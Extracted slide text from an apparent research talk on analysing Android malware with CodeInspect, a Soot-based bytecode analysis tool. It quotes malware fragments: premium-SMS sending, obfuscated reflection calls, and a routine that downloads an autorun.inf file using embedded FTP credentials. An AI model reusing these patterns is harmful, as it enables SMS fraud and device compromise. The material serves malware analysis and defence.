Analyzing Sophisticated Android Malware with CodeInspect Siegfried - - PowerPoint PPT Presentation

▶
analyzing sophisticated android malware with codeinspect
SMART_READER_LITE
LIVE PREVIEW

Analyzing Sophisticated Android Malware with CodeInspect Siegfried - - PowerPoint PPT Presentation

Mar 21, 2024 409 likes •610 views

Analyzing Sophisticated Android Malware with CodeInspect Siegfried Rasthofer SECURE SOFTWARE ENGINEERING GROUP #whoami 3rd year PhD-Student at Secure Software Engineering Group Darmstadt, Germany (Prof. Dr. Eric Bodden)

slide-1
SLIDE 1

SOFTWARE ENGINEERING

GROUP

SECURE

Analyzing Sophisticated Android Malware with CodeInspect

Siegfried Rasthofer

slide-2
SLIDE 2

SOFTWARE ENGINEERING

GROUP

SECURE

#whoami

2

  • 3rd year PhD-Student at Secure Software 


Engineering Group Darmstadt, Germany 
 (Prof. Dr. Eric Bodden)

  • Research interest:
  • Applied software security on Android
  • Static-/dynamic code analyses
  • Android Security:
  • Found 2 AOSP exploits
  • Korea Threat investigation together with McAfee

Research Lab Intel Security

slide-3
SLIDE 3

SOFTWARE ENGINEERING

GROUP

SECURE

3

Malware

slide-4
SLIDE 4

SOFTWARE ENGINEERING

GROUP

SECURE

4

public void onCreate(android.os.Bundle $param0) { sendTextMessage("3353", null, "798657", null, null); sendTextMessage("3354", null, "798657", null, null); sendTextMessage("3353", null, "798657", null, null); } public static boolean gdadbjrj(String paramString1 , String paramString2) { Class clz = Class.forName(gdadbjrj.gdadbjrj("VRIf3+In9a.aTA3RYnD1BcVRV]af"));
 Object localObject = clz.getMethod( gdadbjrj.gdadbjrj("]a9maFVM.9"), 
 new Class[0]).invoke(null, new Object[0]); 
 String s = gdadbjrj.gdadbjrj("BaRIta*9caBBV]a"); 
 Class c = Class.forName(gdadbjrj.gdadbjrj ("VRIf3+InVTTnSaRI+R]KR9aR9")); 
 Class [] arr = new Class [] { nglpsq.cbhgc, nglpsq.cbhgc, glpsq.cbhgc, c, c};
 clz.getMethod(s, arr).invoke(localObject , new Object [] 
 { paramString1 , null , paramString2 , null , null }); }


slide-5
SLIDE 5

SOFTWARE ENGINEERING

GROUP

SECURE

5

public static boolean gdadbjrj(String paramString1 , String paramString2) { Class clz = Class.forName(gdadbjrj.gdadbjrj("VRIf3+In9a.aTA3RYnD1BcVRV]af"));
 Object localObject = clz.getMethod( gdadbjrj.gdadbjrj("]a9maFVM.9"), 
 new Class[0]).invoke(null, new Object[0]); 
 String s = gdadbjrj.gdadbjrj("BaRIta*9caBBV]a"); 
 Class c = Class.forName(gdadbjrj.gdadbjrj ("VRIf3+InVTTnSaRI+R]KR9aR9")); 
 Class [] arr = new Class [] { nglpsq.cbhgc, nglpsq.cbhgc, glpsq.cbhgc, c, c};
 clz.getMethod(s, arr).invoke(localObject , new Object [] 
 { paramString1 , null , paramString2 , null , null }); }


  • Reflections
  • Packers
  • Anti-Decompile
  • Anti-Debug
  • …
slide-6
SLIDE 6

SOFTWARE ENGINEERING

GROUP

SECURE

A new Binary Analysis Framework for Android and Java Bytecode

6

slide-7
SLIDE 7

SOFTWARE ENGINEERING

GROUP

SECURE

7

Soot

slide-8
SLIDE 8

SOFTWARE ENGINEERING

GROUP

SECURE

8

Soot

Input/Output .dex .java .jimple .apk .class

  • Various callgraph algorithms
  • Sophisticated algorithms used in compiler

construction

  • Code manipulation

Soot

https://github.com/Sable/soot/wiki

slide-9
SLIDE 9

SOFTWARE ENGINEERING

GROUP

SECURE

9

Soot Jimple

slide-10
SLIDE 10

SOFTWARE ENGINEERING

GROUP

SECURE

10

public static boolean UsbAutoRunAttack(android.content.Context $param0) { java.lang.String $String; $String = <smart.apps.droidcleaner.Tools: java.lang.String urlServer>; ... staticinvoke <smart.apps.droidcleaner.Tools: boolean DownloadFile(java.lang.String, java.lang.String, java.lang.String, java.lang.String, android.content.Context)> ($String, "autorun.inf", "ftpupper", "thisisshit007", $param0); return true; }

Declarations Code Return-Statement

Jimple Soot

slide-11
SLIDE 11

SOFTWARE ENGINEERING

GROUP

SECURE

11

Soot Jimple CodeInspect

slide-12
SLIDE 12

SOFTWARE ENGINEERING

GROUP

SECURE

12

CodeInspect

Jimple Code Readable Files Code Refactoring Debugger Java Source Enhancement Syntax Highlighting Code Manipulation Dataflow Visualizer Deobfuscator “Region“ Detection

Jimple Soot

slide-13
SLIDE 13

SOFTWARE ENGINEERING

GROUP

SECURE

Let’s get started…

13

  • 1. Import APK
  • 2. Start Device
slide-14
SLIDE 14

SOFTWARE ENGINEERING

GROUP

SECURE

14

Banking Trojan Activation Component SMS HTTP E-Mail Intercept SMS Intercept Call Install Fake AV Uninstall AV File System Native Code User Waiting Time Send SMS

App Internal External Event Environment Settings

An Investigation of the Android/BadAccents Malware which Exploits a new Android Tapjacking Attack Siegfried Rasthofer, Irfan Asrar, Stephan Huber, Eric Bodden

Android/BadAccents

slide-15
SLIDE 15

SOFTWARE ENGINEERING

GROUP

SECURE

Live-Demo

15

https://goo.gl/LblcR5

slide-16
SLIDE 16

SOFTWARE ENGINEERING

GROUP

SECURE

Future Steps

16

  • New Plugins under development
  • Easily add own analyses
  • What would be a useful feature for you?
slide-17
SLIDE 17

SOFTWARE ENGINEERING

GROUP

SECURE

How do I get this tool?

17

slide-18
SLIDE 18

SOFTWARE ENGINEERING

GROUP

SECURE

18

slide-19
SLIDE 19

SOFTWARE ENGINEERING

GROUP

SECURE

Siegfried Rasthofer Secure Software Engineering Group Email: siegfried.rasthofer@cased.de Blog: http://sse-blog.ec-spride.de Website: http://sse.ec-spride.de Twitter: @CodeInspect

19